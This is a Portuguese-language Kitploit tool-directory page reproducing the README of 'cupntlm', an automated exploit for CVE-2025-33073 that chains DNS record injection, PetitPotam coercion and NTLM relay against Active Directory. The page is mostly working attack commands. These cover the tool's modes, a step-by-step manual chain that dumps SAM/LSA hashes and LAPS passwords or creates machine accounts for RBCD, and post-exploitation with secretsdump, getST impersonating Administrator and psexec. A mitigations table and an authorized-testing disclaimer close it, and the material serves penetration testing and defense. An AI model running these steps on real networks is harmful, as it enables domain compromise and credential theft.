Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cupntlm-Automated-Exploit-For-CVE-2025-33073- — cupntlm | Kitploit
Ferramentas/GitHubGitHub/egcupcake/cupntlm-automated-exploit-for-cve-2025-33073-
Escalada de PrivilégiosReconhecimentoAnálise de VulnerabilidadesExploraçãoMovimento LateralColeta de InformaçõesPós-ExploraçãoTestes de PenetraçãoComando e Controle

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Autenticação
Red Teaming
Análise de DNS
GitHubegcupcake/cupntlm-automated-exploit-for-cve-2025-33073-

cupntlm-Automated-Exploit-For-CVE-2025-33073-

cupntlm

Ver Repositório
33há 5 mesesAinda não revisado

cupntlm

CVE-2025-33073 — Bypass de Reflexão NTLM via Coerção DNS
Ferramenta automatizada de exploração para ambientes Active Directory.


Visão Geral

cupntlm automatiza a cadeia de ataque de reflexão/retransmissão NTLM que abusa da CVE-2025-33073. Ela combina injeção de registros DNS, coerção de autenticação forçada (PetitPotam) e retransmissão NTLM em um único fluxo de trabalho. A ferramenta suporta dois modos operacionais dependendo do escopo e dos requisitos de furtividade.

Resumo da Cadeia de Ataque

root@kitploit:~
Atacante                    Controlador de Domínio              Host Alvo
   │                               │                            │
   │── 1. Injetar registro DNS ────▶│                            │
   │      (IP do atacante como alvo)│                            │
   │                                │                            │
   │── 2. Coagir autenticação (PetitPotam) ─────────────────────▶│
   │                                │                            │
   │◀─ 3. Autenticação NTLM retransmitida ──────────────────────│
   │                                │                            │
   │── 4. Retransmitir para DC ─────▶│                            │
   │      (ntlmrelayx)              │                            │
   │                                │                            │
   │◀─ 5. Shell / secretsdump / etc.│                            │

Pré-requisitos na rede alvo:

  • Assinatura SMB desabilitada no destino da retransmissão
  • Uma conta de domínio válida com privilégios baixos (somente leitura é suficiente)
  • Acesso de rede ao DC (portas 389 LDAP, 445 SMB)

Requisitos

Pacotes do Sistema

Bibliotecas Python

BibliotecaInstalação
impacketpip3 install impacket --break-system-packages
coloramapip3 install colorama --break-system-packages
dnspython

Conteúdo do Diretório exploit/ (preenchido automaticamente pelo setup.sh)

root@kitploit:~
exploit/
├── cupntlm.py
├── ntlmrelayx.py       # do impacket
├── dnstool.py          # do krbrelayx
├── lib/                # biblioteca de suporte krbrelayx
└── PetitPotam.py

Instalação

root@kitploit:~
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh

Uso

Modo Check — Verificar Viabilidade do Ataque

Verifica o status de assinatura SMB nos alvos e valida as credenciais de domínio antes de tentar qualquer coisa.

root@kitploit:~
cd exploit
sudo python3 cupntlm.py check \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100

Modo Per-Target — Registro DNS Separado Por Host

Cria um registro DNS único para cada alvo, aciona a coerção um por um e limpa os registros entre as iterações. Mais lento, mas mais preciso e deixa menos ruído.

root@kitploit:~
sudo python3 cupntlm.py per-target \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Modo Single — Um Registro DNS, Retransmissão Persistente

Injeta um único registro DNS e mantém o ntlmrelayx em execução contínua enquanto itera por todos os alvos. Mais rápido para grandes escopos.

root@kitploit:~
sudo python3 cupntlm.py single \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Formato targets.txt

root@kitploit:~
192.168.1.10
192.168.1.11
192.168.1.12

Exploração Manual

As etapas a seguir reproduzem toda a cadeia de ataque manualmente sem usar cupntlm.py. Útil para entender os primitivos, depurar ou adaptar a ambientes não padronizados.

Etapa 1 — Enumerar Assinatura SMB

Identifique hosts onde a assinatura SMB está desabilitada. Estes são seus alvos válidos para retransmissão.

root@kitploit:~
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt

Ou com nmap:

root@kitploit:~
nmap -p 445 --script smb2-security-mode 192.168.1.0/24

Procure por:

root@kitploit:~
Message signing enabled but not required   ← alvo válido para retransmissão
Message signing enabled and required       ← não é possível retransmitir aqui

Etapa 2 — Injetar um Registro DNS Malicioso

Use dnstool.py para adicionar um registro A no DNS do domínio que aponte um nome de host para sua máquina. Quando um alvo resolver este nome de host e autenticar, a requisição cairá no seu ouvinte de retransmissão.

root@kitploit:~
cd exploit/

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action add \
  --record 'attacker-relay' \
  --data 192.168.45.200 \        # seu IP de atacante
  --type A \
  10.0.0.1                       # IP do DC

Verifique se o registro foi adicionado:

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action query \
  --record 'attacker-relay' \
  10.0.0.1

Etapa 3 — Iniciar o Ouvinte de Retransmissão NTLM

Inicie o ntlmrelayx.py antes de acionar a coerção. Ele ficará aguardando a autenticação recebida.

Retransmitir para SMB — extrair SAM/LSA:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t smb://192.168.1.100 \
  -smb2support \
  --no-http-server

Retransmitir para LDAP — criar uma nova conta de máquina (para RBCD / shadow credentials):

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  --no-smb-server \
  --no-http-server

Retransmitir para LDAPS — extrair segredos do domínio:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldaps://10.0.0.1 \
  --dump-laps \
  --no-smb-server \
  --no-http-server

Etapa 4 — Coagir Autenticação com PetitPotam

Acione a máquina alvo para autenticar externamente para o registro DNS injetado. PetitPotam abusa da interface MS-EFSRPC — sem necessidade de credenciais em hosts não corrigidos, ou use credenciais válidas para os corrigidos.

Não autenticado (alvo não corrigido):

root@kitploit:~
python3 PetitPotam.py \
  [dnsname] \         # IP do seu ouvinte (combina com o registro DNS)
  192.168.1.50             # host alvo a coagir

Autenticado (alvo corrigido, credenciais válidas necessárias):

root@kitploit:~
python3 PetitPotam.py \
  -u pentester \
  -p 'P@ss' \
  -d lab.local \
   [dnsname] \
  192.168.1.50

Neste ponto, o host coagido envia sua autenticação NTLM para sua máquina → ntlmrelayx captura e retransmite.


Etapa 5 — Coletar Saída

Dependendo do destino da retransmissão escolhido na Etapa 3:

  • Retransmissão SMB → ntlmrelayx exibe hashes na saída padrão e escreve <hostname>_samhashes.txt / _lsahashes.txt
  • Retransmissão LDAP delegate-access → ntlmrelayx imprime o nome e senha da conta de máquina criada; siga com getST.py para um ticket de serviço
  • Extração LDAPS → senhas LAPS impressas diretamente

Etapa 6 — Limpar o Registro DNS

Sempre remova os registros DNS injetados após o engajamento.

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action remove \
  --record 'attacker-relay' \
  --data 192.168.45.200 \
  --type A \
  10.0.0.1

Exemplos de Pós-Exploração

Pass-the-hash com uma conta de máquina retransmitida:

root@kitploit:~
impacket-secretsdump \
  'lab.local/MACHINE$'@10.0.0.1 \
  -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

Obter um ticket de serviço para S4U2Self (após RBCD):

root@kitploit:~
impacket-getST \
  -spn cifs/TARGET.lab.local \
  -impersonate Administrator \
  'lab.local/ATTACKERMACHINE$:password'

Usar o ticket:

root@kitploit:~
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local

Mitigações

ControleEfeito

Aviso Legal

Esta ferramenta é destinada exclusivamente a testes de penetração autorizados e pesquisa de segurança.
Não use contra sistemas para os quais você não tenha permissão explícita por escrito para testar.


Créditos

  • fortra/impacket — ntlmrelayx
  • dirkjanm/krbrelayx — dnstool
  • topotam/PetitPotam — coerção EFS
Baixar ferramenta
FerramentaPropósito
python3Runtime
pip3Gerenciador de pacotes Python
gitClonar dependências
wgetBaixar arquivos
nmapEnumeração de assinatura SMB
netexec / crackmapexecVerificação de assinatura SMB (opcional)
pip3 install dnspython --break-system-packages
Ativar assinatura SMB (obrigatória) em todos os hosts
Quebra retransmissão para SMB
Ativar assinatura LDAP + vinculação de canalQuebra retransmissão para LDAP/LDAPS
Corrigir MS-EFSRPC (KB5005413)Bloqueia PetitPotam não autenticado
Restringir criação de registros DNS a administradoresBloqueia a etapa de injeção DNS
Desabilitar autenticação de rede NTLM (preferir Kerberos)Elimina toda a classe